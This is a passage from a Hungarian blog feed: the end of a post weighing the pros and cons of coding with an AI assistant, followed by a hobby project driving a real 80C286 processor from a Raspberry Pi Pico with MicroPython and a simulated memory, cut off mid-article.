<p>Hajlamos vagyok úgy gondolni, hogy minél bonyolultabb a téma, annál kevésbé lehet a kimenetben (akár szöveges, akár kód) megbízni. Főleg akkor, ha kevéssé jártas az ember az adott témában. Alapvetően egy jó, személyre szabott tanulási (vagy kód elmagyarázási) eszköznek tartom, de vannak fenntartásaim a kimenettel kapcsolatban.</p>
<p>A másik aspektusa ennek az, hogy mennyire befolyásolható. Ha bedobok egy ötletet, akkor hajlamos azzal menni, de én attól még nem lehetek biztos abban, hogy tényleg az én alternatívám volt a jobb ötlet, vagy csak a megfelelési kényszer miatt választja a megoldásomat.</p>
<p>Van úgy, hogy kérdésként bedobok egy ötletet, hogy &quot;vajon működne-e ez így vagy úgy&quot;. Az AI persze rámondja, hogy &quot;remek meglátás, rögtön neki is állok megvalósítani&quot;. Aztán 10-20 perceket vitatkozik saját magával, elkezdi feltúrni az egész projektet, látszik, hogy nem jut egyről a kettőre, de nem fog magától leállni. Végül inkább leállítom és nyomok egy <code>git restore</code>-t.</p>
<h4>Munkavégzés</h4>
<p>Ez szorosan összefügg a kimenet minőségével. Én azt a következtetést vontam le, hogy nem szívesen hagynám szabadon garázdálkodni, hogy azt csináljon, amit akar. Minél hamarabb el kell csípni, ha rossz irányba indul el, meg kell kérdőjelezni az ötleteit, alternatívákat kell felhozni (vagy néha csak megfelelő kulcsszavakat). Ez viszont csak úgy tud működni, ha megvan a hozzáértés valamilyen szinten, hogy meg tudja mondani az ember, ha rossz irányba tartanak a dolgok.</p>
<p>Aztán ott van még az a furcsaság, hogy a végén a <code>.gitlab-ci.yml</code> és <code>Dockerfile</code> fájlokat kézzel írtam meg. Nem hiszem, hogy szimplán csak azért történt, mert a nap végén már elegem volt a csevegésből és csinálni akartam valamit. Inkább valami olyasmi lehetett, hogy ha valamihez eléggé értek és úgy gondolom, hogy nem sok idő megcsinálni, akkor inkább megcsinálom, mint hogy ugyanannyi vagy több idő alatt megmondjam másnak, hogy hogyan csinálja meg. Főleg ha annak a másik félnek semmilyen előnye nem származik abból, hogy ő csinálja (mert például nem képes tanulni belőle).</p>
<h4>Sebesség</h4>
<p>Jelen esetben hobbi projekthez használtam, úgyhogy nem sietek sehova, nem azzal van baj, hogy lassú lenne, csak az interakció mintája valahogy kényelmetlen. Ahhoz egy kicsit lassú, hogy ne unatkozzon közben az ember, de ahhoz túl gyors, hogy érdemben lehessen a gondolkodási szünetekben valami mással foglalkozni.</p>
<p>Lehetne ugyan több szálon folytatni beszélgetéseket (nem próbáltam), de szerintem sem én, sem az AI nem elég jó ehhez a multitasking területén.</p>
<h4>Ár-érték arány</h4>
<p>Aztán ott van még az ár kérdése. Mint azt már említettem, csak a második körben 35 dollárt locsoltam el erre a projektre. Az első kört nem tudom pontosan, mert egy havi előfizetés részeként volt megvalósítva, de tippre egy 10-20 dollár az is lehetett.</p>
<p>Hogy ez soknak vagy kevésnek számít, azt nem tudnám megmondani, de amikor a végén kijött ez az összeg, akkor arra gondoltam, hogy ha valaki ezt a kész szoftvert 35 dollárért próbálná nekem eladni, akkor bizony nem venném meg.</p>
<h3>A szép új világ, második felvonás</h3>
<p>Itt vagyunk hát, három évvel később. Az újdonság varázsa már egy kicsit megkopott és előtűnnek a lepattogzó festék alól a hibák. A szellem ugyan kiszabadult a palackból, de egy mindenható varázslény helyett egy hiperaktív junior fejlesztőt kaptunk. Mindenkire rábízom, hogy ezek alapján levonja saját helyzetéhez mérten a következtetéseket. Én a magam részéről még továbbra sem látom kristálytisztán, hogy hogyan fog működni a közös életünk.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Számítógéppel generált álomvilág</title>
            <link>https://deadlime.hu/2026/02/22/szamitogeppel-generalt-alomvilag/</link>
            <pubDate>Sun, 22 Feb 2026 08:59:40 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Raspberry Pi]]></category>
                    <category><![CDATA[hardver]]></category>
                    <category><![CDATA[Python]]></category>
                    
            <guid isPermaLink="false">6b52cf35fc5a1d1723d9defae13829b0</guid>
            <description>Virtuális valóság egy 286-os processzor számára</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/286.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<blockquote>
<p>Mi a valóság? Hogy határoznád meg? Mivel? Ha arról beszélsz, amit érzel, amit szagolsz, ízlelsz, látsz... a valóság csupán az agyad által megfejtett elektromos jelhalmaz.</p>
</blockquote>
<p class="text-right">&mdash; Morpheus, <a href="https://hu.wikipedia.org/wiki/M%C3%A1trix_(film)">Mátrix</a></p>
<p>Ha a processzor a számítógép agya, akkor neki is lehet része egyfajta virtuális valóságban? Szimulált memória, szoftveresen definiált perifériák, mesterségesen generált megszakítások.</p>
<p>Életem első számítógépe egy 286-os volt, 1 MB RAM-mal és ha jól emlékszem 50 MB HDD-vel. Ezért arra az elhatározásra jutottam, hogy beszerzek egy 286-os processzort és megpróbálom a számítógép többi részét köré szimulálni. Vagy legalábbis rábírni arra, hogy elinduljon és futtasson meg valami egyszerű assembly kódot.</p>
<p>Két évvel ezelőtt meg is rendeltem kettő darab (annyi volt egy csomagban) Harris 80C286-12 processzort. Homályosak már az emlékeim, de a <code>C</code> a nevében azt hiszem lényeges, mert ezek azok a fajták, amik nem annyira kényesek az órajel pontosságára (a <code>12</code> a végén azt jelenti, hogy 12 Mhz-en szeret futni), akár kézzel is lehet léptetni őket.</p>
<p>Először nem jöttek a sikerélmények, úgyhogy a fiókba került a projekt. Aztán idén újra elővettem és megpróbáltam kideríteni, hogy hol mehettek félre a dolgok.</p>
<h3>Összeszerelés</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/plcc_parts.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>A processzor egy PLCC-68-as foglalatba megy bele. A foglalat lábai nem alkalmasak arra, hogy jumper kábeleket dugdossunk rá, így a foglalat egy adapter NYÁK-ra került, amin vannak jumper kábel kompatibilis kiállások. A chip és a foglalat csatlakozó kiosztása is szerepel <a href="https://deadlime.hu/uploads/2026/80C286_datasheet.pdf">az adatlapon</a>, de az adapter NYÁK még csavar egy kicsit a dolgokon, így készítettem hozzá egy kis konvertáló táblázatot.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/80286_pinout.png" width="590" height="777" alt="" title="" loading="lazy" />
</p>

<p>A táblázat abban is segített, hogy a különböző ki- és bemenetek azonosítva legyenek, amik később a Raspberry Pi-ra való csatlakozáskor lesznek hasznosak. Mint az látszik, nem kevesebb, mint 57 pin-re van szükség, amihez a Pi kevés lesz. Az MCP23S17 típusú IO bővítő sietett itt a segítségünkre, amivel ugyan nem tudnánk kipörgetni a processzor által támogatott hajmeresztő 12 Mhz-es sebességet, de szerencsére nem is ez a cél.</p>
<p>A chip 16 darab IO pin-t tartalmaz, így négy chip-re lesz szükségünk. Bár pin-enként lehet állítani, hogy ki- vagy bemenetek legyenek, azért próbáltam logikusan csoportosítani őket. A bővítőnek A és B oldala van, oldalanként 8 pinnel, a végeredmény a következő lett:</p>
<pre class="ascii"><code>         ┌───┬──┬───┐      
         ┤   └──┘   ├      
         ┤          ├      
         ┤   FLAG   ├ ERROR
         ┤          ├ BUSY 
         ┤ ADDR:100 ├ INTR 
   READY ┤          ├ NMI  
   RESET ┤B        A├ PEREQ
     CLK ┤          ├ HOLD 
         └──────────┘      
         ┌───┬──┬───┐      
    HLDA ┤   └──┘   ├ A23  
COD/INTA ┤          ├ A22  
    M/IO ┤   MISC   ├ A21  
    LOCK ┤          ├ A20  
     BHE ┤ ADDR:011 ├ A19  
      S1 ┤          ├ A18  
      S0 ┤B        A├ A17  
   PEACK ┤          ├ A16  
         └──────────┘      
         ┌───┬──┬───┐      
      A8 ┤   └──┘   ├ A7   
      A9 ┤          ├ A6   
     A10 ┤   ADDR   ├ A5   
     A11 ┤          ├ A4   
     A12 ┤ ADDR:010 ├ A3   
     A13 ┤          ├ A2   
     A14 ┤B        A├ A1   
     A15 ┤          ├ A0   
         └──────────┘      
         ┌───┬──┬───┐      
      D8 ┤   └──┘   ├ D7   
      D9 ┤          ├ D6   
     D10 ┤   DATA   ├ D5   
     D11 ┤          ├ D4   
     D12 ┤ ADDR:001 ├ D3   
     D13 ┤          ├ D2   
     D14 ┤B        A├ D1   
     D15 ┤          ├ D0   
         └──────────┘      
</code></pre>
<p>A Pi SPI-n tud kommunikálni a bővítőkkel. Több megoldás is létezik erre, én azt választottam, hogy mindegyik chip egyszerre aktív és hardver cím alapján döntik el, hogy kinek szólnak a Pi felől érkező üzenetek.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/MCP23S17_breadboard.png" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>A lila színű kábellel bekötött RESET pin-t esetünkben nem szükséges a Pi-ról vezérelni, de az egyik hibakeresés során ezt is kipróbáltam és így maradt. Nincs más hátra, mint ipari mennyiségű jumper kábellel összekötni az egészet és át is térhetünk a programozásra.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/cpu_assembled.jpg" width="660" height="840" alt="" title="" loading="lazy" />
</p>

<h3>IO bővítés</h3>
<p>Az MCP23S17 tudásának viszonylag kis részére van csak szükségünk. Az IO pin-ek irányát kell csak beállítanunk és írni/olvasni. A konfigurálás regiszterek értékeinek változtatásával történik. Először is engedélyeznünk kell a hardver címek használatát. Alapból mindenkinek <code>000</code> a címe, így ha erre a címre küldünk egy regiszter változtatást (az <code>IOCON</code> regiszterben lévő <code>HAEN</code> bit), akkor mind a négy chip-en egyszerre kapcsolódnak be a hardver címek.</p>
<p>Néhány órányi (napnyi) fejtörés következett, amire végre kiderült, hogy ez még nem biztos, hogy elég a megfelelő működéshez. Kell egy üzenetet küldenünk a beállított hardver címre is, hogy engedélyezzük a hardver címeket (elég furcsa, tudom). Tehát ha mondjuk <code>101</code>-es hardver címet állítottunk be, akkor az eredeti, <code>000</code>-ra küldött regiszter módosítási üzenetet el kell küldenünk újra a <code>101</code>-nek is.</p>
<p>Most, hogy a hardver címekkel megvagyunk az egyes chip-ek <code>IODIRA</code> és <code>IODIRB</code> regiszterét kell a megfelelő irányba állítani. A csoportosítás miatt az egész oldalt egyszerre állíthatjuk olvasásra (<code>11111111</code>) vagy írásra (<code>00000000</code>). További részletek <a href="https://deadlime.hu/uploads/2026/MCP23017_datasheet.pdf">a chip adatlapján</a>.</p>
<p>Eredetileg egy Pi Zero-val kezdtem a munkát, de a végül egy Pi Pico mellett kötöttem ki, amin MicroPython fut. A chip-ek kezelésére az alábbi kis osztályka született:</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MCP23S17</span>:</span>
    IODIRA = <span class="hljs-number">0x00</span>
    IODIRB = <span class="hljs-number">0x01</span>
    IOCON = <span class="hljs-number">0x0B</span>
    GPIOA = <span class="hljs-number">0x12</span>
    GPIOB = <span class="hljs-number">0x13</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self, address, spi, cs)</span>:</span>
        self.__address = address
        self.__spi = spi
        self.__cs = cs

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">init</span><span class="hljs-params">(self)</span>:</span>
        self.__writeRegister(<span class="hljs-number">0b01000000</span>, self.IOCON, <span class="hljs-number">0b00001000</span>)
        self.writeRegister(self.IOCON, <span class="hljs-number">0b00001000</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">writeRegister</span><span class="hljs-params">(self, reg, value)</span>:</span>
        self.__writeRegister(self.__address, reg, value)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">readRegister</span><span class="hljs-params">(self, reg)</span>:</span>
        tx = bytearray([self.__address | <span class="hljs-number">1</span>, reg, <span class="hljs-number">0</span>])
        rx = bytearray(<span class="hljs-number">3</span>)
        self.__cs.value(<span class="hljs-number">0</span>)
        self.__spi.write_readinto(tx, rx)
        self.__cs.value(<span class="hljs-number">1</span>)
        <span class="hljs-keyword">return</span> rx[<span class="hljs-number">2</span>]

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__writeRegister</span><span class="hljs-params">(self, address, reg, value)</span>:</span>
        self.__cs.value(<span class="hljs-number">0</span>)
        self.__spi.write(bytes([address, reg, value]))
        self.__cs.value(<span class="hljs-number">1</span>)
</code></pre>
<p>Az <code>init</code>-ben szépen látszik, hogy kétszer állítjuk be az <code>IOCON</code> regiszter értékét. Az osztályt a következő módon tudjuk használni a processzorral való kommunikációhoz:</p>
<pre><code class="hljs python">spi = SPI(<span class="hljs-number">0</span>, baudrate=<span class="hljs-number">1000000</span>, sck=Pin(<span class="hljs-number">2</span>), mosi=Pin(<span class="hljs-number">3</span>), miso=Pin(<span class="hljs-number">4</span>))
cs = Pin(<span class="hljs-number">5</span>, mode=Pin.OUT, value=<span class="hljs-number">1</span>)
rst = Pin(<span class="hljs-number">6</span>, mode=Pin.OUT, value=<span class="hljs-number">0</span>)

chip_data = MCP23S17(<span class="hljs-number">0b01000010</span>, spi, cs)
chip_addr = MCP23S17(<span class="hljs-number">0b01000100</span>, spi, cs)
chip_misc = MCP23S17(<span class="hljs-number">0b01000110</span>, spi, cs)
chip_flag = MCP23S17(<span class="hljs-number">0b01001000</span>, spi, cs)

rst.value(<span class="hljs-number">1</span>)

chip_data.init()
chip_addr.init()
chip_misc.init()
chip_flag.init()

chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xff</span>)
chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xff</span>)

chip_addr.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xff</span>)
chip_addr.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xff</span>)

chip_misc.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xff</span>)
chip_misc.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xff</span>)

chip_flag.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0x00</span>)
chip_flag.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0x00</span>)
</code></pre>
<p>Első körben képes voltam lehagyni innen az <code>init</code> hívásokat és csodálkoztam, hogy miért nem működik. A pin-ek nagy részét olvasásra állítjuk, csak a flag-eket kell írásra.</p>
<h3>Az alapállapot</h3>
<p>Mielőtt bármibe belekezdhetnénk, RESET-elnünk kell a processzort. Ehhez legalább 16 órajelciklusnyi ideig kell a RESET flag-et bekapcsolva tartanunk, és a ki- és bekapcsolásnak szinkronban kell lennie az órajel flag-gel is. Először is csináltam pár konstanst a flag-eknek, hogy egyszerűbb legyen az élet:</p>
<pre><code class="hljs python"><span class="hljs-comment"># chip_flag GPIOA</span>
FLAG_ERROR = <span class="hljs-number">0x20</span>
FLAG_BUSY  = <span class="hljs-number">0x10</span>
FLAG_INTR  = <span class="hljs-number">0x08</span>
FLAG_NMI   = <span class="hljs-number">0x04</span>
FLAG_PEREQ = <span class="hljs-number">0x02</span>
FLAG_HOLD  = <span class="hljs-number">0x01</span>

<span class="hljs-comment"># chip_flag GPIOB</span>
FLAG_CLK   = <span class="hljs-number">0x80</span>
FLAG_RESET = <span class="hljs-number">0x40</span>
FLAG_READY = <span class="hljs-number">0x20</span>

<span class="hljs-comment"># chip_misc GPIOB</span>
FLAG_PEACK    = <span class="hljs-number">0x80</span>
FLAG_S0       = <span class="hljs-number">0x40</span>
FLAG_S1       = <span class="hljs-number">0x20</span>
FLAG_BHE      = <span class="hljs-number">0x10</span>
FLAG_LOCK     = <span class="hljs-number">0x08</span>
FLAG_M_IO     = <span class="hljs-number">0x04</span>
FLAG_COD_INTA = <span class="hljs-number">0x02</span>
FLAG_HLDA     = <span class="hljs-number">0x01</span>
</code></pre>
<p>Ezt érdemes összenézni a fentebbi MCP23S17 pin kiosztással. Az egyes oldalak 8 pin-jét 8 bitnyi / 1 byte-nyi adatként kezeljük. Például a 'misc' chip <code>GPIOB</code> oldala által kiadott byte-ban a <code>HLDA</code> flag a legkisebb helyi értékű szám, a <code>PEACK</code> pedig a legnagyobb helyi értékű.</p>
<pre class="ascii"><code>PEACK
↓
10100111
       ↑
    HLDA
</code></pre>
<p>A flag-ek segítségével jöhet is a RESET:</p>
<pre><code class="hljs python"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">17</span>):
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK | FLAG_RESET)
    time.sleep(<span class="hljs-number">0.001</span>)
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_RESET)
    time.sleep(<span class="hljs-number">0.001</span>)
</code></pre>
<p>A sleep-eket teljesen hasra ütés szerűen választottam, nem kell igazodnunk semmilyen ütemhez. A RESET során a processzornak egy meghatározott állapotba kell kerülnie. Ezt az alábbi kis kóddal tudjuk ellenőrizni:</p>
<pre><code class="hljs python">data = chip_addr.readRegister(MCP23S17.GPIOA)
print(<span class="hljs-string">'A7-0:   '</span> + str(bin(data)))
data = chip_addr.readRegister(MCP23S17.GPIOB)
print(<span class="hljs-string">'A15-8:  '</span> + str(bin(data)))
data = chip_misc.readRegister(MCP23S17.GPIOA)
print(<span class="hljs-string">'A23-16: '</span> + str(bin(data)))
data = chip_misc.readRegister(MCP23S17.GPIOB)
print(<span class="hljs-string">'PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: '</span> + str(bin(data)))
</code></pre>
<p>Az értékek, amit látnunk kell így néznek ki:</p>
<pre class="console"><code>A7-0:   0b11111111
A15-8:  0b11111111
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000
</code></pre>
<p>Furcsa módon engem a következő fogadott:</p>
<pre class="console"><code>A7-0:   0b11111111
A15-8:  0b11111000
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000
</code></pre>
<p>Nehéz volt nem észrevenni, hogy a második és a negyedik sor megegyezik. Ellenőriztem az összes csatlakozást, szétszedtem az egészet, LED-ek segítségével debug-oltam, hogy jó helyre mennek-e az értékek, amiket írok, kicseréltem a chip-et, amihez az A15-8 pin-ek voltak rendelve, kicseréltem a processzort a tartalékra, ezerszer is átolvastam a kódot, de semmi sem segített.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/led_debug.jpg" width="660" height="840" alt="" title="" loading="lazy" />
</p>

<p>Végül az MCP23S17-nél említett hardver címes mókázás lett a megoldás. Lényeg, hogy ha minden rendben ment, elengedhetjük a RESET flag-et és elkezdődhet a boot-olás.</p>
<pre><code class="hljs python">chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK | FLAG_RESET)
time.sleep(<span class="hljs-number">0.001</span>)
chip_flag.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0</span>)
time.sleep(<span class="hljs-number">0.001</span>)
</code></pre>
<h3>Az inicializálás</h3>
<p>Ezek után a processzornak 50 órajelcikluson belül el kell kezdenie olvasni a <code>0xFFFFF0</code> címről az első végrehajtandó utasítást. A <code>COD/INTA</code>, <code>M/IO</code>, <code>S0</code> és <code>S</code>1 flag-ek határozzák meg, hogy mit szeretne csinálni a processzor.</p>
<table>
<tr>
  <th><code>COD/INTA</code></th>
  <th><code>M/IO</code></th>
  <th><code>S0</code></th>
  <th><code>S1</code></th>
  <th>Művelet</th>
</tr>
<tr>
  <td>0</td>
  <td>0</td>
  <td>0</td>
  <td>0</td>
  <td>Interrupt acknowledge</td>
</tr>
<tr>
  <td>0</td>
  <td>1</td>
  <td>0</td>
  <td>0</td>
  <td>halt / shutdown</td>
</tr>
<tr>
  <td>0</td>
  <td>1</td>
  <td>0</td>
  <td>1</td>
  <td>Memory data read</td>
</tr>
<tr>
  <td>0</td>
  <td>1</td>
  <td>1</td>
  <td>0</td>
  <td>Memory data write</td>
</tr>
<tr>
  <td>1</td>
  <td>0</td>
  <td>0</td>
  <td>1</td>
  <td>I/O read</td>
</tr>
<tr>
  <td>1</td>
  <td>0</td>
  <td>1</td>
  <td>0</td>
  <td>I/O write</td>
</tr>
<tr>
  <td>1</td>
  <td>1</td>
  <td>0</td>
  <td>1</td>
  <td>Memory instruction read</td>
</tr>
</table>
<p>A kevésbé érdekeseket kihagytam a táblázatból, <a href="https://deadlime.hu/uploads/2026/80C286_datasheet.pdf">az adatlapon</a> megtekinthetőek. De a maradékból is csak erre a négyre lesz szükségünk a kis tesztünkhöz:</p>
<ul>
<li>halt / shutdown</li>
<li>memory data write</li>
<li>memory data read</li>
<li>memory instruction read</li>
</ul>
<p>Szóval elkezdjük küldeni az órajeleket és várunk, hogy elérkezzünk az első 'Memory instruction read'-ig:</p>
<pre><code class="hljs python">cycle = <span class="hljs-number">1</span>
<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
    print(<span class="hljs-string">f'#<span class="hljs-subst">{cycle}</span>'</span>)
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
    time.sleep(<span class="hljs-number">0.001</span>)
    chip_flag.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0</span>)
    time.sleep(<span class="hljs-number">0.001</span>)

    data = chip_misc.readRegister(MCP23S17.GPIOB)
    PEACK = data &amp; FLAG_PEACK
    S0 = data &amp; FLAG_S0
    S1 = data &amp; FLAG_S1
    BHE = data &amp; FLAG_BHE
    LOCK = data &amp; FLAG_LOCK
    M_IO = data &amp; FLAG_M_IO
    COD_INTA = data &amp; FLAG_COD_INTA
    HLDA = data &amp; FLAG_HLDA

    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S1 <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S0:
        print(<span class="hljs-string">'halt / shutdown'</span>)
        sys.exit(<span class="hljs-number">0</span>)
    <span class="hljs-keyword">elif</span> <span class="hljs-keyword">not</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S1 <span class="hljs-keyword">and</span> S0:
        print(<span class="hljs-string">'Memory data read'</span>)
    <span class="hljs-keyword">elif</span> <span class="hljs-keyword">not</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> S1 <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S0:
        print(<span class="hljs-string">'Memory data write'</span>)
    <span class="hljs-keyword">elif</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S1 <span class="hljs-keyword">and</span> S0:
        print(<span class="hljs-string">'Memory instruction read'</span>)

    time.sleep(<span class="hljs-number">0.01</span>)
    cycle += <span class="hljs-number">1</span>
</code></pre>
<p>Ha sikeresen megérkezünk, akkor elkezdhetünk mondjuk NOP (<code>0x90</code>) utasításokat küldeni. Az adat buszt írásra állítjuk, ráküldjük a NOP utasítást, küldünk egy órajelet és visszaállítjuk az adat buszt olvasásra.</p>
<pre><code class="hljs python">chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0x00</span>)
chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0x00</span>)
chip_data.writeRegister(MCP23S17.GPIOA, <span class="hljs-number">0x90</span>)
chip_data.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0x90</span>)

chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
time.sleep(<span class="hljs-number">0.001</span>)
chip_flag.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0</span>)
time.sleep(<span class="hljs-number">0.001</span>)

chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xFF</span>)
chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xFF</span>)
</code></pre>
<h3>Bonyolult matematikai műveletek</h3>
<p>Ez mind szép és jó, de nézzünk valami érdekesebbet, amihez olvasni és írni is kell a memóriát. Egy egyszerű kis program, ami a memóriából olvas be két számot, összeadja és visszaírja a memóriába az eredményt.</p>
<p>Mivel a memóriának eléggé a végén kezdtünk (<code>0xFFFFF0</code>), így nincs túl sok helyünk, először el kell ugranunk máshova.</p>
<pre class="file"><code>reset.asm
</code></pre>
<pre><code class="hljs armasm">[cpu <span class="hljs-number">286</span>]
<span class="hljs-symbol">org</span> <span class="hljs-number">0xfff0</span>

<span class="hljs-symbol">jmp</span> <span class="hljs-number">0x0000</span>:<span class="hljs-number">0x0500</span>
</code></pre>
<p>Aztán jöhet az összeadás:</p>
<pre class="file"><code>add.asm
</code></pre>
<pre><code class="hljs armasm">[cpu <span class="hljs-number">286</span>]
<span class="hljs-symbol">org</span> <span class="hljs-number">0x0500</span>

<span class="hljs-symbol">xor</span>  ax, ax
<span class="hljs-keyword">mov </span> ds, ax

<span class="hljs-keyword">mov </span> ax, [num1]
<span class="hljs-keyword">add </span> ax, [num2]
<span class="hljs-keyword">mov </span> [result], ax

<span class="hljs-symbol">hlt</span>

<span class="hljs-comment">; Data</span>
<span class="hljs-symbol">num1</span>    dw <span class="hljs-number">0x1234</span>
<span class="hljs-symbol">num2</span>    dw <span class="hljs-number">0x000a</span>
<span class="hljs-symbol">result</span>  dw <span class="hljs-number">0x0000</span>
</code></pre>
<p>A <code>nasm</code> program segítségével generálhatunk belőle binárist is:</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> nasm reset.asm</span>
<span class="hljs-meta">$</span><span class="bash"> nasm add.asm</span>
</code></pre>
<p>Majd egy rövid kis Python script segítségével Python-formára hozhatjuk, hogy belerakhassuk a virtuális memóriánkba:</p>
<pre class="file"><code>hex_dump.py
</code></pre>
<pre><code class="hljs python"><span class="hljs-keyword">import</span> sys

<span class="hljs-keyword">with</span> open(sys.argv[<span class="hljs-number">1</span>], <span class="hljs-string">"rb"</span>) <span class="hljs-keyword">as</span> f:
    data = f.read()
hex_values = <span class="hljs-string">", "</span>.join(<span class="hljs-string">f"0x<span class="hljs-subst">{byte:<span class="hljs-number">02</span>x}</span>"</span> <span class="hljs-keyword">for</span> byte <span class="hljs-keyword">in</span> data)
print(<span class="hljs-string">f"[<span class="hljs-subst">{hex_values}</span>]"</span>)
</code></pre>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> python hex_dump.py reset</span>
[0xea, 0x00, 0x05, 0x00, 0x00]
<span class="hljs-meta">$</span><span class="bash"> python hex_dump.py add</span>
[0x31, 0xc0, 0x8e, 0xd8, 0xa1, 0x0f, 0x05, 0x03, 0x06, 0x11, 0x05, 0xa3, 0x13, 0x05, 0xf4, 0x34, 0x12, 0x0a, 0x00, 0x00, 0x00]
</code></pre>
<p>A memória szimulálására a következő osztálykát raktam össze:</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Memory</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self)</span>:</span>
        self.__data = {}

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">load</span><span class="hljs-params">(self, base, data)</span>:</span>
        <span class="hljs-keyword">for</span> i, b <span class="hljs-keyword">in</span> enumerate(data):
            self.__data[base + i] = b

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__getitem__</span><span class="hljs-params">(self, address)</span>:</span>
        <span class="hljs-keyword">return</span> self.__data.get(address, <span class="hljs-number">0x00</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__setitem__</span><span class="hljs-params">(self, address, value)</span>:</span>
        self.__data[address] = value &amp; <span class="hljs-number">0xFF</span>
</code></pre>
<p>Csak egy egyszerű dict egy kis segédfüggvénnyel, aminek segítségével tetszőleges címre tölthetünk be adatot. Amit aztán meg is teszünk a <code>nasm</code> által generált kóddal:</p>
<pre><code class="hljs python">MEMORY = Memory()
MEMORY.load(<span class="hljs-number">0x000500</span>, [
    <span class="hljs-number">0x31</span>, <span class="hljs-number">0xc0</span>,
    <span class="hljs-number">0x8e</span>, <span class="hljs-number">0xd8</span>,
    <span class="hljs-number">0xa1</span>, <span class="hljs-number">0x0f</span>, <span class="hljs-number">0x05</span>,
    <span class="hljs-number">0x03</span>, <span class="hljs-number">0x06</span>, <span class="hljs-number">0x11</span>, <span class="hljs-number">0x05</span>,
    <span class="hljs-number">0xa3</span>, <span class="hljs-number">0x13</span>, <span class="hljs-number">0x05</span>,
    <span class="hljs-number">0xf4</span>,
    <span class="hljs-number">0x34</span>, <span class="hljs-number">0x12</span>,
    <span class="hljs-number">0x0a</span>, <span class="hljs-number">0x00</span>,
    <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>
])
MEMORY.load(<span class="hljs-number">0xfffff0</span>, [
    <span class="hljs-number">0xea</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x05</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>
])
</code></pre>
<p>Már csak az elágazásokat kell kitöltenünk, de előtte még szót kell ejteni a <code>BHE</code> flag-ről és az <code>A0</code> értékről.</p>
<table>
  <tr>
    <th><code>BHE</code></th>
    <th><code>A0</code></th>
    <th>Művelet</th>
  </tr>
  <tr>
    <td>0</td>
    <td>0</td>
    <td>Word transfer</td>
  </tr>
  <tr>
    <td>0</td>
    <td>1</td>
    <td>Byte transfer on upper half of data bus (<code>D15</code> - <code>D8</code>)</td>
  </tr>
  <tr>
    <td>1</td>
    <td>0</td>
    <td>Byte transfer on lower half of data bus (<code>D7</code> - <code>D0</code>)</td>
  </tr>
</table>
